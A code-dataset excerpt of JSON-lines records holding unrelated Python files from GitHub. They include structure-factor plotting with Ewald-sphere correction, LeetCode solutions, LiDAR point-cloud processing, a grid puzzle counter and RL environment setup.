plt.title('S(r,z)')\n plt.xlabel('r ' + unitlab)\n plt.ylabel('z ' + unitlab)\n plt.colorbar()\n plt.savefig('cs.png')\n\n plt.figure()\n\n plt.contourf(rfin, zfin[0], final.T, levels=lvls, cmap='jet')\n plt.colorbar()\n\n plt.title('S(r,z)')\n plt.xlabel('r ' + unitlab)\n plt.ylabel('z ' + unitlab)\n plt.savefig('new_rzplot2.png')\n\n plt.figure()\n lglvls = np.linspace(np.amin(logfinal), np.amax(logfinal), NLEVELS)\n\n plt.contourf(rfin, zfin[0], logfinal.T, levels=lglvls, cmap='jet')\n plt.colorbar()\n\n plt.title('ln(S(r,z))')\n plt.xlabel('r ' + unitlab)\n plt.ylabel('z ' + unitlab)\n plt.savefig('new_log_rzplot.png')\n\n plt.figure()\n\n x2 = np.linspace(-Rmax, Rmax, RBINS * 2 - 1)\n z2 = np.linspace(Z[0], Z[-1], RBINS)\n\n xg2, yg2, zg2 = np.meshgrid(x2, np.asarray(0), z2)\n pts = np.vstack((xg2.ravel(), yg2.ravel(), zg2.ravel())).T\n out2 = ES(pts).reshape(xg2.shape[1], xg2.shape[2])\n\n o2n = out2[:, :] / rad_avg\n\n plt.contourf(xg2[0, :, :], zg2[0, :, :], o2n, levels=lvls, cmap='jet')\n\n plt.xlabel('x ' + unitlab)\n plt.ylabel('z ' + unitlab)\n plt.title('S(x,z)|$_{y=0}$')\n\n plt.colorbar()\n plt.savefig('new_xzplot.png')\n\n plt.figure()\n\n x2 = np.linspace(-Rmax, Rmax, RBINS * 2 - 1)\n y2 = np.linspace(-Rmax, Rmax, RBINS * 2 - 1)\n\n xg2, yg2, zg2 = np.meshgrid(x2, y2, np.asarray(0))\n pts = np.vstack((xg2.ravel(), yg2.ravel(), zg2.ravel())).T\n out2 = ES(pts).reshape(xg2.shape[0], xg2.shape[1])\n\n o2n = out2[:, :] / np.average(out2)\n\n lvlsxy = np.linspace(np.amin(o2n), np.amax(o2n), NLEVELS) # contour levels\n\n plt.contourf(xg2[:, :, 0], yg2[:, :, 0], o2n, levels=lvlsxy, cmap='jet')\n\n plt.xlabel('x ' + unitlab)\n plt.ylabel('y ' + unitlab)\n plt.title('S(x,y)') # |$_{y=0}$')\n\n plt.colorbar()\n plt.savefig('new_xyplot.png')\n\n if False:\n\n plt.figure()\n\n dif = o2n - final\n lvls2 = np.linspace(-0.4, 0.4, 100)\n\n plt.contourf(xg2[0, :, :], zg2[0, :, :], dif, levels=lvls2, cmap='seismic')\n plt.xlabel('x,r ' + unitlab)\n plt.ylabel('z ' + unitlab)\n plt.title('S(r,z)-S(x,z)|$_{y=0}$')\n\n plt.colorbar()\n plt.savefig('difference.png')\n\n plt.show()\n\n\ndef normalize_alkanes(R, Z, Raw_Intensity, inner, outer, angle):\n \"\"\"\n Plot angular integration of 2D WAXS data bounded by a circle defined by radii 'inner' and 'outer'\n :param R: points in r direction\n :param Z: points in z direction\n :param Raw_Intensity: values at all (R, Z) points on grid\n :param inner: inside radius of region bounding alkane reflections\n :param outer: outside radius of region bounding alkane reflections\n :return: Intensity values normalized by average intensity inside alkane region\n \"\"\"\n\n nbins = 90\n bins = np.linspace(-90, 90, nbins)\n\n bw = 180 / (nbins - 1)\n\n angles = []\n intensity = []\n for i in range(R.shape[0]):\n for j in range(Z.shape[0]):\n if inner < np.linalg.norm([R[i], Z[j]]) < outer:\n angles.append((180/np.pi)*np.arctan(Z[j]/R[i]))\n intensity.append(Raw_Intensity[i, j])\n\n inds = np.digitize(angles, bins)\n\n I = np.zeros([nbins])\n counts = np.zeros([nbins])\n for i in range(len(inds)):\n I[inds[i] - 1] += intensity[i]\n counts[inds[i] - 1] += 1\n\n #Get average intensity in ring excluding 60 degree slice around top and bottom #######\n\n bin_range = 180 / nbins # degrees which a single bin covers\n\n start = int((angle/2) / bin_range) # start at the bin which covers -60 degrees and above\n end = nbins - start # because of symmetry\n\n total_intensity = np.sum(I[start:end])\n avg_intensity = total_intensity / np.sum(counts[start:end])\n\n print('Average Intensity in alkane chain region : %s' % avg_intensity)\n\n return avg_intensity\n\n\ndef tm2(D, ucell):\n\n a1 = ucell[0]\n a2 = ucell[1]\n a3 = ucell[2]\n\n V = np.dot(a1, np.cross(a2, a3))\n\n b1 = np.cross(a2, a3) / V\n b2 = np.cross(a3, a1) / V # *2.0*math.pi\n b3 = np.cross(a1, a2) / V #*2.0*math.pi\n\n Dnew = np.zeros_like(D)\n\n X = D[..., 0]\n Y = D[..., 1]\n Z = D[..., 2]\n\n for ix in range(D.shape[0]):\n Dnew[ix, 0:3] += X[ix]*b1 #(X[ix]-X[X.shape[0]/2])*b1\n\n for iy in range(D.shape[0]):\n Dnew[iy, 0:3] += Y[iy]*b2 #(Y[iy]-Y[Y.shape[0]/2])*b2\n\n for iz in range(D.shape[0]):\n Dnew[iz, 0:3] += Z[iz]*b3 #(Z[iz]-Z[Z.shape[0]/2])*b3\n\n return Dnew\n\n\ndef to_monoclinic(D, ucell):\t\t#monoclinic for now\n\n a1 = ucell[0]\n a2 = ucell[1]\n a3 = ucell[2]\n\n b1 = (np.cross(a2, a3)) / (np.dot(a1, np.cross(a2, a3)))\n b2 = (np.cross(a3, a1)) / (np.dot(a2, np.cross(a3, a1)))#*2.0*math.pi\n b3 = (np.cross(a1, a2)) / (np.dot(a3, np.cross(a1, a2)))#*2.0*math.pi\n\n Dnew = np.zeros_like(D)\n\n X = D[..., 0]\n Y = D[..., 1]\n Z = D[..., 2]\n\n for ix in range(D.shape[0]):\n Dnew[ix, 0:3] += X[ix]*b1 #(X[ix]-X[X.shape[0]/2])*b1\n\n for iy in range(D.shape[0]):\n Dnew[iy, 0:3] += Y[iy]*b2 #(Y[iy]-Y[Y.shape[0]/2])*b2\n\n for iz in range(D.shape[0]):\n Dnew[iz, 0:3] += Z[iz]*b3 #(Z[iz]-Z[Z.shape[0]/2])*b3\n\n return Dnew\n\n\ndef mc_inv(D, ucell):\n\n a1 = ucell[0]\n a2 = ucell[1]\n a3 = ucell[2]\n\n b1 = (np.cross(a2, a3))/(np.dot(a1, np.cross(a2, a3)))\n b2 = (np.cross(a3, a1))/(np.dot(a2, np.cross(a3, a1)))\n b3 = (np.cross(a1, a2))/(np.dot(a3, np.cross(a1, a2)))\n\n b_inv = np.linalg.inv(np.vstack((b1, b2, b3)))\n Dnew = np.zeros_like(D)\n\n X = D[..., 0]\n Y = D[..., 1]\n Z = D[..., 2]\n\n for ix in range(D.shape[0]):\n Dnew[ix, 0:3] += X[ix]*b_inv[0]\n\n for iy in range(D.shape[0]):\n Dnew[iy, 0:3] += Y[iy]*b_inv[1]\n\n for iz in range(D.shape[0]):\n Dnew[iz, 0:3] += Z[iz]*b_inv[2]\n\n return Dnew\n\n\ndef Plot_Ewald_triclinic(D, wavelength_angstroms, ucell, factor=3.1, format=True, **kwargs): # pass full 3d data,SF,wavelength in angstroms\n\n PLOT_RAD_NEW(D, wavelength_angstroms, ucell, factor=factor, format=format, **kwargs)\n exit()\n\n if not os.path.exists(path):\n os.makedirs(path)\n\n X = D[:, 0, 0, 0].copy()\n Y = D[0, :, 0, 1].copy()\n Z = D[0, 0, :, 2].copy()\n\n NBINSZ = 1 * D[0, 0, :, 2].size\n ZBNS = np.linspace(Z[0], Z[-1], NBINSZ)\n\n if NBINSRAD > 0:\n XBNSRD = np.linspace(-NBINSRAD, NBINSRAD, num=NBINSRAD*2)\n XBNSRD = np.sqrt(np.abs(XBNSRD))*np.sign(XBNSRD)\n XBNSRD *= (X[-1]/XBNSRD[-1])\n else:\n XBNSRD = X\n print(\"setting XBNSRD=\", X)\n\n dx1 = X[1 + int(X.shape[0]/2)] - X[int(X.shape[0]/2)]\n\n SF = D[:, :, :, 3]\n\n a1 = ucell[0]\n a2 = ucell[1]\n a3 = ucell[2]\n\n b1 = old_div((np.cross(a2, a3)), (np.dot(a1, np.cross(a2, a3))))\n b2 = old_div((np.cross(a3, a1)), (np.dot(a2, np.cross(a3, a1))))\n b3 = old_div((np.cross(a1, a2)), (np.dot(a3, np.cross(a1, a2))))\n\n Dnew = np.zeros_like(D)\n\n for ix in trange(D.shape[0]):\n Dnew[ix, :, :, 0:3] += X[ix]*b1\n for iy in trange(D.shape[1]):\n Dnew[:, iy, :, 0:3] += Y[iy]*b2\n for iz in trange(D.shape[2]):\n Dnew[:, :, iz, 0:3] += Z[iz]*b3\n\n D[..., :3] = Dnew[..., :3]\n\n K_ES = 2.0*math.pi/wavelength_angstroms # calculate k for incident xrays in inverse angstroms\n\n # https://docs.scipy.org/doc/scipy/reference/generated/scipy.interpolate.RegularGridInterpolator.html#scipy.interpolate.RegularGridInterpolator\n # Notes\n # Contrary to LinearNDInterpolator and NearestNDInterpolator, RegularGridInterpolator class avoids expensive triangulation of the input data by taking advantage of the regular grid structure.\n # this is why this style of interpolation is so slow\n\n XGD = D[:, :, :, 0] # X spatial grid view\n YGD = D[:, :, :, 1]\n ZGD = D[:, :, :, 2]\n VGD = D[:, :, :, 3]\n\n DC = D[:, :, :, 0:3]\n\n DR = DC.reshape(DC.size/3, 3)\n\n # check if fast interpolation can be used\n lbuf = True\n for i in range(3):\n for j in range(i + 1, 3):\n if ucell[i, j] != 0 or ucell[j, i] != 0:\n lbuf = False\n\n print(\"Interpolating grid...\")\n\n if ucell[0, 0] == ucell[1, 1] and ucell[0, 0] == ucell[2, 2] and lbuf:\n\n print(\"using fast interpolation for orthorhombic cell\")\n ES = RegularGridInterpolator((X, Y, Z), SF, bounds_error=False)\n\n else:\n\n print(\"Interpolating non-orthorhombic cell\")\n dtime = 480.0 * XGD.size / (98 * 98 * 99) # empirical time estimate\n\n print(\"interpolation time estimate: \", round(dtime / 60, 1), \" minutes, finishing around \", (\n datetime.datetime.now() + datetime.timedelta(seconds=dtime)).strftime('%I:%M %p'))\n\n start = time.time()\n coords = list(zip(XGD.ravel(), YGD.ravel(), ZGD.ravel()))\n\n if False:\n ES = LinearNDInterpolator(coords, VGD.ravel())\n else:\n ES = NearestNDInterpolator(coords, VGD.ravel())\n end = time.time()\n\n print(\"interpolation finished, taking %4.2f seconds\" % (end-start))\n\n xyzpts = np.asarray([])\n print(\"setting up points for radial integration\")\n Scale=1\n\n if False:\n for ix in trange(D.shape[0]):\n for iy in range(D.shape[1]):\n for iz in range(D.shape[2]):\n xyzpts.append((D[ix, iy, iz, 0], D[ix, iy, iz, 1], D[ix, iy, iz, 2]))\n else:\n XPTS = np.linspace(D[0, 0, 0, 0], D[-1, 0, 0, 0], Scale * D.shape[0], dtype=np.float16)\n YPTS = np.linspace(D[0, 0, 0, 1], D[0, -1, 0, 1], Scale * D.shape[1], dtype=np.float16)\n ZPTS = np.linspace(D[0, 0, 0, 2], D[0, 0, -1, 2], Scale * D.shape[2], dtype=np.float16)\n print(\"mesh\")\n xyzpts = np.meshgrid(XPTS, YPTS, ZPTS)\n print(\"stack\")\n xyzpts = np.stack(xyzpts, -1).reshape(-1, 3)\n print(\"done\")\n\n xyzpts = np.reshape(D[:, :, :, :3], (D.shape[0]*D.shape[1]*D.shape[2], 3)) # 5000x faster than above loop\n\n NSP = 20\n NSP = np.minimum(NSP, xyzpts.shape[0]) # split into at most 20 chunks before processing to limit memory usage\n\n xyzpieces = np.array_split(xyzpts, NSP)\n EWDxyz = np.asarray([])\n print(\"interpolating\")\n for i in tqdm.tqdm(xyzpieces):\n buf = ES(i)\n EWDxyz = np.append(EWDxyz, buf, axis=0)\n\n print(\"EWD done\")\n\n rpts = np.sqrt(xyzpts[:, 0]**2.0 + xyzpts[:, 1]**2.0)\n\n Hcount, XEC, YEC = np.histogram2d(rpts, xyzpts[:, 2], bins=(XBNSRD, ZBNS))\n\n Hval, XEV, YEV = np.histogram2d(rpts, xyzpts[:, 2], weights=EWDxyz, normed=False, bins=(XBNSRD, ZBNS))\n\n switch1 = True\n\n if switch1:\n Hcount = np.where(Hcount == 0, 1, Hcount)\n\n Hrz = Hval / Hcount\n\n if not switch1:\n Hrz = np.ma.masked_invalid(Hrz)\n\n S1 = np.sum(Hrz)\n S3 = np.sum(Hrz[Hrz.shape[0]/2, :])\n\n Condition1 = False # Need to figure this out-when should this be true?\n\n if Condition1:\n for ir in range(1, Hrz.shape[0] / 2 - 1):\n Hrz[-ir + Hrz.shape[0] / 2, :] = Hrz[ir + Hrz.shape[0] / 2,\n :] # this needs to be tested for both even and odd numbers of bins\n else:\n for ir in range(1, Hrz.shape[0] / 2 - 1):\n Hrz[-ir + 2 + Hrz.shape[0] / 2, :] = Hrz[ir + Hrz.shape[0] / 2,\n :] # this needs to be tested for both even and odd numbers of bins\n\n\n S2 = np.sum(Hrz)\n\n XMG, YMG = np.meshgrid(XEV, YEV)\n\n plt.pcolormesh(XMG[:-1, :], YMG[:-1, :], np.log10(Hrz.T), vmin=np.amin(np.log10(Hrz)), vmax=np.amax(np.log10(Hrz)))\n plt.savefig(path+\"_log_rzplot\"+format, dpi=DPI)\n plt.clf()\n print(\"_log_rzplot saved\")\n\n mn = np.amin(Hrz[np.nonzero(Hrz)])\n Hbuf = np.where(Hrz > 0.0, Hrz, mn)\n Log_HRZ = np.log10(Hbuf)\n\n plt.pcolormesh(XMG[:-1, :] - dx1 / 2.0, YMG[:-1, :], Log_HRZ.T, vmin=np.amin(Log_HRZ), vmax=np.amax(Log_HRZ),\n cmap='nipy_spectral')\n plt.colorbar()\n plt.savefig(path + \"_log_rzplot\" + format, dpi=DPI)\n plt.clf()\n\n Nx = D.shape[0]\n Ny = D.shape[1]\n Nz = D.shape[2]\n\n #==============flat and Ewald-corrected plots=================\n\n xypts = []\n xyflat = []\n for ix in range(D.shape[0]):\n for iy in range(D.shape[1]):\n xp = D[ix, iy, int(Nz/2), 0]\n yp = D[ix, iy, int(Nz/2), 1]\n\n theta = np.arctan(np.sqrt(xp**2.0 + yp**2.0)/K_ES)\n xypts.append((xp*np.cos(theta), yp*np.cos(theta), K_ES*(1.0 - np.cos(theta))))\n xyflat.append((xp, yp, 0.0))\n\n xzpts = []\n xzflat = []\n\n for ix in range(D.shape[0]):\n for iz in range(D.shape[2]):\n xp = D[ix, int(Ny/2), iz, 0]\n zp = D[ix, int(Ny/2), iz, 2]\n theta = np.arctan(np.sqrt(xp**2.0 + yp**2.0)/K_ES)\n xzpts.append((xp*np.cos(theta), K_ES*(1.0-np.cos(theta)), zp*np.cos(theta)))\n xzflat.append((xp, 0.0, zp))\n\n yzpts = []\n yzflat = []\n for iy in range(D.shape[1]):\n for iz in range(D.shape[2]):\n yp = D[int(Nz/2), iy, iz, 1]\n zp = D[int(Nz/2), iy, iz, 2]\n theta = np.arctan(np.sqrt(yp**2.0 + zp**2.0)/K_ES)\n yzpts.append((K_ES*(1.0-np.cos(theta)), yp*np.cos(theta), zp*np.cos(theta)))\n yzflat.append((0.0, yp, zp))\n\n xypts = np.asarray(xypts)\n xzpts = np.asarray(xzpts)\n yzpts = np.asarray(yzpts)\n\n xyflat = np.asarray(xyflat)\n xzflat = np.asarray(xzflat)\n yzflat = np.asarray(yzflat)\n\n EWDxy = ES(xypts)\n EWDxz = ES(xzpts)\n EWDyz = ES(yzpts)\n\n EWDxyflat = ES(xyflat)\n EWDxzflat = ES(xzflat)\n EWDyzflat = ES(yzflat)\n\n EWDxy = EWDxy.reshape(D.shape[0], D.shape[1])\n EWDxz = EWDxz.reshape(D.shape[0], D.shape[2])\n EWDyz = EWDyz.reshape(D.shape[1], D.shape[2])\n\n EWDxyflat = EWDxyflat.reshape(D.shape[0], D.shape[1])\n EWDxzflat = EWDxzflat.reshape(D.shape[0], D.shape[2])\n EWDyzflat = EWDyzflat.reshape(D.shape[1], D.shape[2])\n\n title = \"Ewald Corrected Structure Factor \\n $\\lambda=$\"+str(wavelength_angstroms)+\" $\\AA$ $k_{ew}=$\"+str(round(K_ES,2))+\" $\\AA^{-1}$\"\n ltitle = 'log ' + title\n\n xlab = 'x ('+units + \")\"\n ylab = 'y ('+units + \")\"\n zlab = 'z ('+units + \")\"\n\n fname = \"Ewald_\"\n\n iz = 0\n plt.suptitle(title)\n plt.xlabel(xlab)\n plt.ylabel(ylab)\n plt.contourf(D[:, :, iz, 0], D[:, :, iz, 1], EWDxy, contours, **kwargs)\n plt.savefig(path+fname+\"xy\"+str(iz)+format,dpi=DPI)\n plt.clf()\n\n lax = ['x', 'y', 'z']\n\n ewlab = \"Ewald\"\n flab = \"Flat\"\n\n iax1 = 0\n iax2 = 1\n\n EWDxy = np.ma.masked_invalid(EWDxy)\n EWDxyflat = np.ma.masked_invalid(EWDxyflat)\n\n EWDxz = np.ma.masked_invalid(EWDxz)\n EWDxzflat = np.ma.masked_invalid(EWDxzflat)\n\n EWDyz = np.ma.masked_invalid(EWDyz)\n EWDyzflat = np.ma.masked_invalid(EWDyzflat)\n\n if PLOT_EWALDS:\n csplot_wlog(D[:, :, int(Nz / 2) + 1, iax1], D[:, :, int(Nz / 2) + 1, iax2], EWDxy, contours, ewlab, lax[iax1],\n lax[iax2], **kwargs)\n\n csplot_wlog(D[:,:,int(Nz/2)+1,iax1],D[:,:,int(Nz/2)+1,iax2],EWDxyflat,contours,flab ,lax[iax1],lax[iax2],**kwargs)\n\n iax1 = 0\n iax2 = 2\n if PLOT_EWALDS:\n csplot_wlog(D[:, int(Ny / 2), :, iax1], D[:, int(Ny / 2), :, iax2], EWDxz, contours, ewlab, lax[iax1],\n lax[iax2], **kwargs)\n\n csplot_wlog(D[:,int(Ny/2),:,iax1],D[:,int(Ny/2),:,iax2],EWDxzflat,contours,flab ,lax[iax1],lax[iax2],**kwargs)\n\n iax1 = 1\n iax2 = 2\n if PLOT_EWALDS:\n csplot_wlog(D[int(Nx / 2), :, :, iax1], D[int(Nx / 2), :, :, iax2], EWDyz, contours, ewlab, lax[iax1],\n lax[iax2], **kwargs)\n\n csplot_wlog(D[int(Nx/2),:,:,iax1],D[int(Nx/2),:,:,iax2],EWDyzflat,contours,flab ,lax[iax1],lax[iax2],**kwargs)\n\n","repo_name":"joeyelk/MD-Structure-Factor","sub_path":"plot2d.py","file_name":"plot2d.py","file_ext":"py","file_size_in_byte":40985,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"29"} +{"seq_id":"23258741403","text":"\"\"\"\n1. Get the reverse number.\n2. Time complexity is O(1) since O(logn) = O(1)\n3. Space: O(1)\n\"\"\"\n\nclass Solution:\n def isPalindrome(self, x: int) -> bool:\n if x < 0:\n return False\n \n copy, reverse = x, 0\n\n while copy:\n reverse *= 10\n reverse += copy % 10\n copy //= 10\n \n return x == reverse\n\nif __name__ == \"__main__\":\n x = 121\n s = Solution()\n print(s.isPalindrome(x))","repo_name":"codingyen/CodeAlone","sub_path":"Python/0009_palindrome_number.py","file_name":"0009_palindrome_number.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"73311618958","text":"# ------------------------------\n# 163. Missing Ranges\n# \n# Description:\n# \n# Version: 2.0\n# 11/03/18 by Jianfa\n# ------------------------------\n\nclass Solution:\n def findMissingRanges(self, nums, lower, upper):\n \"\"\"\n :type nums: List[int]\n :type lower: int\n :type upper: int\n :rtype: List[str]\n \"\"\"\n res = []\n prev = lower - 1\n nums.append(upper+1) # Add a element to help check edge case\n \n for i in nums:\n if i == prev: # There may be duplicates\n continue\n \n if i != prev + 1:\n if i - prev == 2: # if only 1 element is missing between prev and i\n res.append(\"%d\" % (i - 1))\n \n else:\n res.append(\"%d->%d\" % (prev + 1, i - 1))\n \n prev = i\n \n return res\n\n# Used for testing\nif __name__ == \"__main__\":\n test = Solution()\n\n# ------------------------------\n# Summary:\n# Take care of situation when duplicate numbers exist in the nums.","repo_name":"Hellofafar/Leetcode","sub_path":"Medium/163_2.py","file_name":"163_2.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"29"} +{"seq_id":"73158606797","text":"from laspy.file import File\nimport sys\nimport os\nimport json\nimport time\nimport numpy as np\n\nfrom debug_log import debug_log\nfrom subgrid import LidarSubgrid\nfrom colors import rgb_for_classification\n\n\nBASE_PATH = '/Users/albert/Development/dclidar/data/'\n\n\nclass LidarGrid(object):\n\n def __init__(self, grid_id):\n self.grid_id = grid_id\n filepath = os.path.join(BASE_PATH, f'{grid_id}.las')\n self._infile = File(filepath, mode='r')\n self._points = None\n self._xrange = (None, None)\n self._yrange = (None, None)\n\n def load_from_lasfile(self):\n points_list = []\n point0 = self._infile.points[0][0]\n N = len(self._infile.points)\n N_segment = int(N / 50)\n self._xrange = [point0[0], point0[0]]\n self._yrange = [point0[1], point0[1]]\n\n debug_log(f'Loading {N} points from datafile...')\n start_time = time.time()\n\n # Process points sequentially in order to extract min/max\n # TODO: can this be vectorized?\n for i, p in enumerate(self._infile.points):\n if i % N_segment == 0 and i > 0:\n debug_log(f'{int(i/N*100)}% complete...')\n point = np.array(p[0].tolist())\n points_list.append(point)\n x, y = point[0], point[1]\n self._xrange = (min(self._xrange[0], x), max(self._xrange[1], x))\n self._yrange = (min(self._yrange[0], y), max(self._yrange[1], y))\n\n self._points = np.array(points_list)\n elapsed_time = time.time() - start_time\n debug_log(f'Load completed in {elapsed_time}s.')\n\n def load_from_json_file(self, filename):\n points = json.load(open(filename, 'r'))\n point0 = points[0]\n N = len(points)\n self._xrange = [point0[0], point0[0]]\n self._yrange = [point0[1], point0[1]]\n\n debug_log(f'Loading {N} points from jsonfile...')\n start_time = time.time()\n points_list = []\n for p in points:\n parr = np.array([p[0], p[1], p[2], p[3], 0, 0, p[4]])\n points_list.append(parr)\n x, y = p[0], p[1]\n self._xrange = (min(self._xrange[0], x), max(self._xrange[1], x))\n self._yrange = (min(self._yrange[0], y), max(self._yrange[1], y))\n\n self._points = np.array(points_list)\n elapsed_time = time.time() - start_time\n debug_log(f'Load completed in {elapsed_time}s.')\n\n def normalize_to_grid_center(self):\n grid_center_x = sum(self._xrange) / 2\n grid_center_y = sum(self._yrange) / 2\n\n debug_log(f'Normalizing points around {grid_center_x},{grid_center_y}')\n\n center = np.zeros(self._points[0].shape)\n center[:2] = [grid_center_x, grid_center_y]\n self._points -= center\n self._xrange = [xloc - grid_center_x for xloc in self._xrange]\n self._yrange = [yloc - grid_center_y for yloc in self._yrange]\n\n def clip(self, sample=1):\n debug_log(f'Clipping points to {sample}x size of original')\n old_length = len(self._points)\n max_x = (self._xrange[1] - self._xrange[0]) / 2 * (sample**0.5)\n max_y = (self._yrange[1] - self._yrange[0]) / 2 * (sample**0.5)\n x_mask = np.abs(self._points[:,0]) < max_x\n y_mask = np.abs(self._points[:,1]) < max_y\n self._points = self._points[x_mask & y_mask]\n new_length = len(self._points)\n debug_log(f'Points reduced from {old_length} -> {new_length}')\n\n def dump_to_json_file(self, filename, sample=1):\n debug_log(f'Writing json to file {filename}')\n points = self._points\n if sample < 1:\n max_x = (self._xrange[1] - self._xrange[0]) / 2 * (sample**0.5)\n max_y = (self._yrange[1] - self._yrange[0]) / 2 * (sample**0.5)\n points = [\n p for p in points\n if abs(p[0]) < max_x and abs(p[1]) < max_y\n ]\n points_for_export = [\n [\n float(p[0]), # Xloc\n float(p[1]), # Yloc\n float(p[2]), # Zloc\n float(p[3]), # Intensity\n float(p[6]) # Classification byte\n ] for p in points\n ]\n return json.dump(points_for_export, open(filename, 'w'))\n\n def group_by_subgrids(self, S=1000):\n grids = {}\n for p in self._points:\n x, y = p[0], p[1]\n sx, sy = (x // S) * S, (y // S) * S\n grids.setdefault((sx, sy), []).append(p)\n return {g: np.array(l) for g,l in grids.items()}\n\n def compress_and_dump_to_float32_buffer(self, filename, S=200, use_compression=True):\n N = len(self._points)\n subgrids = self.group_by_subgrids(S)\n points = {\n 'position': [],\n 'size': [],\n 'color': []\n }\n lines = {\n 'position': []\n }\n triangles = {\n 'position': [],\n 'color': []\n }\n for (x0, y0), point_array in subgrids.items():\n x1, y1 = x0 + S, y0 + S\n rect = (x0, y0, x1, y1)\n sg = LidarSubgrid(point_array, rect)\n\n # Reduce as much of the pointcloud to triangles as possible\n if use_compression:\n #sg.compress_stage2()\n sg.compress_stage1_floor(nearness_threshhold=100)\n\n # Add points to the float32 buffer\n # TODO: could be accomplished through np.reshape?\n for p in sg._points:\n # Float32Buffer, size=3\n for pc in p[:3]:\n points['position'].append(float(pc))\n\n # Float32Buffer, size=3, color values normalized to 0 -> 1\n rgb = rgb_for_classification(p[6])\n for v in rgb:\n points['color'].append(v / 256)\n\n # Float32Buffer, size=1, millimeters\n points['size'].append(10)\n\n for x in sg._lines:\n lines['position'].append(x)\n\n # TODO: right now subgrid triangles are assumed to\n # be in float32 buffer form, so change this when that\n # is no longer the case\n for x in sg._triangles:\n triangles['position'].append(x)\n\n T = int(len(sg._triangles)) // 3\n T_rgb = rgb_for_classification(sg.classification)\n for _ in range(T):\n for v in T_rgb:\n triangles['color'].append(v / 256)\n\n # Calculate values after compression\n N1 = len(points['size'])\n debug_log(f'Point cloud size reduced from {N} -> {N1}.')\n\n output_obj = {\n 'points': points,\n 'lines': lines,\n 'triangles': triangles\n }\n json.dump(output_obj, open(filename, 'w'))\n\n\ndef run_small_1815_original():\n lidar = LidarGrid('1815')\n lidar.load_from_json_file(\n '/Users/albert/Development/dclidar/data/1815.sample2.json'\n )\n lidar.compress_and_dump_to_float32_buffer(\n '/Users/albert/Development/dclidar/data/1815.small_uncompressed.json',\n use_compression=False\n )\n\n\ndef run_small_1815():\n lidar = LidarGrid('1815')\n lidar.load_from_json_file(\n '/Users/albert/Development/dclidar/data/1815.sample2.json'\n )\n lidar.compress_and_dump_to_float32_buffer(\n '/Users/albert/Development/dclidar/data/1815.linecompressed.json',\n S=200\n )\n\n\ndef run_medium_1815():\n lidar = LidarGrid('1815')\n lidar.load_from_json_file(\n '/Users/albert/Development/dclidar/data/1815.sample1.json'\n )\n lidar.compress_and_dump_to_float32_buffer(\n '/Users/albert/Development/dclidar/data/1815.medium_buffered.json',\n S=200\n )\n\n\ndef run_1815():\n lidar = LidarGrid('1815')\n lidar.load_from_lasfile()\n lidar.normalize_to_grid_center()\n lidar.compress_and_dump_to_float32_buffer('/Users/albert/Development/dclidar/data/1815.buffered.json', S=200)\n\n\ndef run_2518():\n lidar = LidarGrid('2518')\n lidar.load_from_lasfile()\n lidar.normalize_to_grid_center()\n #lidar.clip(0.5)\n lidar.compress_and_dump_to_float32_buffer('/Users/albert/Development/dclidar/data/2518.buffered.json', S=200)\n\n\nif __name__ == '__main__':\n run_2518()","repo_name":"flubstep/bluegarden-backend","sub_path":"grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":8258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"19009186841","text":"def check(r, c, k, idx):\n nr = r + dr[k]\n nc = c + dc[k]\n if idx==K-1:\n if 0<=nr<N and 0<=nc<N and pzl[nr][nc]==1:\n return False\n return True\n if 0<=nr<N and 0<=nc<N and pzl[nr][nc]==1:\n return check(nr, nc, k, idx+1)\n else:\n return False\n\ndr = [1,0]\ndc = [0,1]\n\nT = int(input())\nfor tc in range(1, T+1):\n N, K = map(int, input().split())\n\n pzl = [list(map(int, input().split())) for r in range(0, N)]\n\n cnt = 0\n for r in range(0, N):\n for c in range(0, N):\n if pzl[r][c] == 1:\n for k in range(0, 2):\n br = r - dr[k]\n bc = c - dc[k]\n if 0<=br<N and 0<=bc<N and pzl[br][bc]==1:\n continue\n else:\n if check(r, c, k, 0)==True:\n cnt += 1\n\n print(f'#{tc} {cnt}')\n","repo_name":"oogiayo/TIL","sub_path":"src/TIL_0828/d2_1979_단어퍼즐.py","file_name":"d2_1979_단어퍼즐.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"71090274640","text":"import os\n\nimport gym\nfrom gym.spaces.box import Box\nfrom logo.mnist_turtle_env import MnistTurtleEnv\nfrom logo.connect_dots_env import ConnectDotsEnv\nfrom baselines import bench\n\ndef make_env(env_name, seed=0, rank=0, digit=1, log_dir=None, use_patience=False):\n def _thunk():\n if env_name == 'mnist_turle':\n env = MnistTurtleEnv(digit=digit)\n elif env_name == 'connect_dots':\n env = ConnectDotsEnv(digit=digit, rank=rank, use_patience=use_patience)\n else:\n raise NotImplementedError(\"env not implemented\")\n env.seed(seed + rank)\n if log_dir is not None:\n env = bench.Monitor(env, os.path.join(log_dir, str(rank)))\n obs_shape = env.observation_space.shape\n if len(obs_shape) == 3 and obs_shape[2] in [1, 3]:\n env = WrapPyTorch(env)\n return env\n\n return _thunk\n\n\nclass WrapPyTorch(gym.ObservationWrapper):\n def __init__(self, env=None):\n super(WrapPyTorch, self).__init__(env)\n obs_shape = self.observation_space.shape\n self.observation_space = Box(\n self.observation_space.low[0,0,0],\n self.observation_space.high[0,0,0],\n [obs_shape[2], obs_shape[1], obs_shape[0]]\n )\n\n def _observation(self, observation):\n return observation.transpose(2, 0, 1)","repo_name":"rllabmcgill/rl_final_project_turtle","sub_path":"a2c/envs.py","file_name":"envs.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"70847938638","text":"\nimport json\nfrom tokens import *\n\nclass Instruction:\n def __str__(self):\n\t return json.dumps(self.__dict__)\n\nclass Declaration(Instruction):\n def __init__(self,line) -> None:\n self.Instruction = type(self).__name__\n self.Type = line[0]\n self.Variable = line[1]\n\nclass Affectation(Instruction):\n def __init__(self,line) -> None:\n self.Instruction = type(self).__name__\n self.Variable = line[0]\n line.remove(';')\n self.NewData = \" 